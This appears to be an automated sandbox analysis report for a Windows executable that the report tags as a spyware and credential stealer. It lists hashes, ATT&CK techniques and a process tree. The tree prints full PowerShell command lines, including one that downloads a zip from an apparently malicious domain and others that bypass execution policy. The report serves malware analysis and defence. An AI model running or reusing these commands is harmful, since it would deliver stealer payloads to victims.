a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33

Analysis

max time kernel
149s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 23:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
Size 5.1MB
Sample260719-3qvkdabt3s
SHA256 a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33
MD5 a5f078e9cf8d87c711604f0a945a16a9
SHA1 b56d7521f2a982a7fd30d59d954d3abc851a24ed
SHA512 8e4a11497cbce55b365d5df29e282817af74aa9dc1f11bcc36e6e8f2577b9e2d4ea137ba67099c0b272836630267ab14fac6a3c16b32c774387f0325244384e4
SSDEEP 49152:RBmyL+2Trb/TgvO90d7HjmAFd4A64nsfJ0+ByVIYpiT3+Zq5CVA17oC5DYXYHmFg:vQkz
TLSH
T1F3465B52BE448765D69BF239D4B1A2852330F448033126E77B591BA64C6FBC8173FB2E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution spyware stealer

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2348	powershell.exe
4	5116	powershell.exe
5	5124	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2348	powershell.exe
5116	powershell.exe
5124	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2348	powershell.exe
2348	powershell.exe
5116	powershell.exe
5116	powershell.exe
5116	powershell.exe
5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
5124	powershell.exe
5124	powershell.exe
5124	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
Token: SeDebugPrivilege	5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
Token: SeDebugPrivilege	5124	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5764 wrote to memory of 2348	5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe	91
PID 5764 wrote to memory of 5116	5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe	93
PID 5764 wrote to memory of 5124	5764	a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe	96

C:\Users\Admin\AppData\Local\Temp\a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
"C:\Users\Admin\AppData\Local\Temp\a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';$dir='ffmpeg';$zip=Join-Path $dir 'ffmpeg.zip';Invoke-WebRequest -Uri 'https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.zip' -OutFile $zip;Expand-Archive -Force $zip $dir;$ff=Get-ChildItem -Path $dir -Recurse -Filter ffmpeg.exe | Select-Object -First 1;if (-not $ff) { throw 'ffmpeg.exe not found after extraction'; }Copy-Item $ff.FullName -Destination (Join-Path $dir 'ffmpeg.exe') -Force;"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://internet-homepage.digital/ext2.zip' -OutFile './ext_download.zip'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';$dir='ffmpeg';$zip=Join-Path $dir 'ffmpeg.zip';Invoke-WebRequest -Uri 'https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.zip' -OutFile $zip;Expand-Archive -Force $zip $dir;$ff=Get-ChildItem -Path $dir -Recurse -Filter ffmpeg.exe | Select-Object -First 1;if (-not $ff) { throw 'ffmpeg.exe not found after extraction'; }Copy-Item $ff.FullName -Destination (Join-Path $dir 'ffmpeg.exe') -Force;"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 eee9b4cfddcd92252ee49424c5ba436be577b510f290ce83797e1709a7f55a32
MD5 113f79d4fe28129d0415c818fa6d499c
SHA1 49463c25adf3e775245b24d76f3d3ae90016318d
SHA512 faf630a2e47a033226ebeff047c44fe1c2a59a75f88192dfadc9a25a5ef349058bbaee6cca6c4afbb66a2d5e03817397244808f2b43c66ab89a975d3b294c419
TLSH
T116218933B3CC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544A42F699DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3ca436b8e75d3f6e3d2d6dda43b38ede556d4cfdebbeeaa28281d58e391a596d
MD5 818678b2af5fecb08fa214a0df3e017d
SHA1 2725cf37028efde390eaddbf8b8b20f7c52be884
SHA512 5edf3c4d1682027c78720601654a626a3aa2ba125ceb3f0d0f9adeb2b9d7a0698afc213eea233d4a1af180e62faf407415bc32abfaea57c6fd316b95d6000fb0
TLSH
T147215733F3CC8624DC9A403650CEAC1136B687DB409EDE6BAB84D549B42F699DE60160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5vph0twa.vhi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vph0twa.vhi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2348-9-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-6-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-8-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-1-0x00007FFBBA9CF000-0x00007FFBBA9D0000-memory.dmp

Download

memory/2348-10-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-11-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-12-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-14-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-15-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-17-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-4-0x000002199CBA0000-0x000002199CBC2000-memory.dmp

Download

memory/2348-5-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/2348-7-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-29-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-18-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-25-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-27-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-19-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-28-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-31-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-20-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-24-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-32-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-34-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-35-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5116-30-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp

Download

memory/5764-0-0x0000000140000000-0x0000000140024000-memory.dmp

Download